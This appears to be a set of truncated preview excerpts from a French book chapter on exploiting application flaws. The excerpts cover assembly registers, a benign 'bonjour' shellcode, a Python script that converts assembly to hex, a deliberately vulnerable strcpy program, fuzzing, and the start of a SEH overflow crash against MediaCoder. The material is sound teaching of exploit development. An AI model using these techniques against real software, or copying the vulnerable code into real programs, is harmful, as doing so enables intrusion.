Les failles applicatives

1. Introduction

Il faut savoir quand écrire en Assembleur : il y a des moments où il n’y a pas d’autre possibilité que d’écrire en Assembleur et d’autres où cela n’est pas utile. Le système d’exploitation, mais aussi un bon nombre de produits standards, est programmé de telle sorte que l’Assembleur est simplement inévitable. Le reverse engineering et les failles applicatives sont des exemples où l’Assembleur est omniprésent.

2. Premiers pas

b. Le binaire

Le binaire est composé de deux éléments : le 0 et le 1.

Une suite de huit éléments binaires est appelée un octet, une suite de seize éléments binaires est appelée un mot (2 octets) et une suite de trente-deux éléments binaires est appelée un double mot (4 octets).

Les microprocesseurs Intel sont composés de registres. Nous utiliserons ces registres pour commencer à travailler avec l’Assembleur.

EAX, EBX, ECX et EDX sont des registres 32 bits. Ils contiennent respectivement AX, BX, CX, DX (16 bits) dans leur partie basse qui eux-mêmes sont composés de AH, BH, CH, DH (8 bits) dans leur partie haute et de AL, BL, CL, DL (8 bits) dans leur partie basse. Voici un petit schéma qui illustre ceci :

Les registres EAX, EBX, ECX et EDX ne sont disponibles qu’en mode protégé...

1. Exemple 1 : shellcode.py

xor eax,eax  
xor ebx,ebx  
xor ecx,ecx  
xor edx,edx  
jmp short string  
code:  
pop   ecx; on place l'adresse mémoire de la phrase dans la pile  
mov bl,1  
mov dl,23  
mov al,4  
int 0x80; les quatre lignes précédentes forment le write()   
dec bl  
mov al,1  int 0x80; les trois lignes précédentes composent le exit()  
string :  
call code  
db 'bonjour tout le monde!' 

Pour pouvoir utiliser ce code pour une attaque de type buffer overflow, nous voulons le transformer en code hexadécimal.

Pour cela, nous utilisons un programme réalisé en Python, donné ci-dessous (shellcode.py), qui transforme directement le code en hexadécimal. Pour la compréhension de ce programme, reportez-vous au livre de Gérard Swinnen (http://www.inforef.be/swi/download/python_notes.pdf). 

Il faut que le programme en Assembleur soit dans le même répertoire que shellcode.py.

shellcode.py

#!/usr/bin/env python  
import os   
  
file=raw_input("entrez le nom de votre programme en Assembleur\n")  
file1=file.split('.')   
command="nasm "+file+" -o "+file1[0]+".o"   
os.system(command)   
command2="ndisasm -u "+file1[0]+".o >> shelltemp"   
os.system(command2)   
fd=open("shelltemp",'r')   
ligne="".join(fd.readline())...

1. Quelques définitions

Wikipédia donne cette définition pour les buffer overflows :

"En informatique, un dépassement de tampon ou débordement de tampon (en anglais, buffer overflow) est un bogue causé par un processus qui, lors de l’écriture dans un tampon, écrit à l’extérieur de l’espace alloué au tampon, écrasant ainsi des informations nécessaires au processus.

Lorsque le bogue se produit non intentionnellement, le comportement de l’ordinateur devient imprévisible. Il en résulte souvent un blocage du programme, voire de tout le système.

Le bogue peut aussi être provoqué intentionnellement et être exploité pour violer la politique de sécurité d’un système. Cette technique est couramment utilisée par les pirates informatiques. La stratégie du pirate est alors de détourner le programme bogué en lui faisant exécuter des instructions qu’il a introduites dans le processus."

Pour bien comprendre ces définitions, il est essentiel d’avoir...

1. Introduction

Les concepts vus sous Linux dans les chapitres précédents sont toujours valables sous Windows en transposant bien sûr suivant le système d’exploitation.

Le fonctionnement de la pile et du heap est bien sûr similaire.

Comme sous Linux, nous aurons besoin d’un débogueur. Nous utiliserons ici Immunity Debugger (https://www.immunityinc.com/products/debugger) pour tenter d’exploiter les failles. Ce débogueur est gratuit, il comprend :

Vous trouverez sur le Net beaucoup de tutoriels pour apprendre à l’utiliser ainsi que diverses explications de Crack-me (petits logiciels créés pour apprendre le Reverse Engineering) utilisant Immunity Debugger.

Nous utiliserons Dev-C++ pour écrire et compiler nos programmes : http://www.01net.com/telecharger/windows/Programmation/langage/fiches/2327.html

2. Premiers pas

Nous utiliserons pour commencer le programme suivant afin de comprendre les bases. Nous poursuivrons sur des programmes commerciaux réels pour les mettre en application.

#include "string.h"  
void function(char* buf)  
       {  
        char ownz[10];  
        strcpy(ownz, buf);  
       }  
int main(int argc,char* argv[ ])  
      {  
       function(argv[1]);  
       return 0;  
      } 

1. Fuzzing

La première chose à faire est de tester le logiciel afin de découvrir s’il est susceptible d’être faillible. Il existe pour cela des logiciels presque "clés en main" tels que Fusil ou Spike. Mais le but ici est de comprendre le fonctionnement d’un fuzzer, nous allons donc le fabriquer.

Nous pouvons utiliser n’importe quel langage, il faut savoir programmer des sockets (connexions à distance TCP/IP ou UDP) et connaître le protocole que l’on va attaquer (FTP pour notre exemple). Le meilleur moyen pour connaître un protocole est de se procurer sa RFC ; une simple recherche Google nous aidera.

D’après Wikipédia : "Le fuzzing est une technique pour tester des logiciels. L’idée est d’injecter des données aléatoires dans les entrées d’un programme. Si le programme échoue (par exemple en crashant ou en générant une erreur), alors il y a des défauts à...

1. Crash du logiciel

Nous allons tenter de faire planter le logiciel MediaCoder. Pour cela, nous allons créer un petit programme en Python qui va créer le fichier crash.m3u. Nous ouvrirons ce dernier avec MediaCoder, qui sera lui-même attaché à Immunity Debugger.

obFichier = open('crash.m3u','w')  
obFichier.write("A"*2000)  
obFichier.close() 

Les 2000 "A" sont mis au hasard ; ce que nous voulons, c’est savoir exactement quand sont écrasés le SEH et le next SEH.

Nous pouvons aller voir ce qui se passe du côté du SEH : View - SEH chain.

Nous remarquons que l’on a bien écrasé le SEH avec 41414141.

Continuons notre exploration en remplaçant les A par 2000 caractères qui, pris quatre à quatre, ne sont jamais identiques. Pour cela, nous utilisons genbuf.py, dont le code est donné ci-dessous :

#!/usr/bin/env python   
import sys   
import string   
  
def usage():   
   print "Usage: ", sys.argv[0], " <number> [string]"   
   print "   <number> est la taille du buffer a generer."   
   print "   [string] est la chaine de caracteres a retrouver  
(optionnel)."   
   print ""   
   print "   si [string] est utilise, le buffer ne sera pas  ...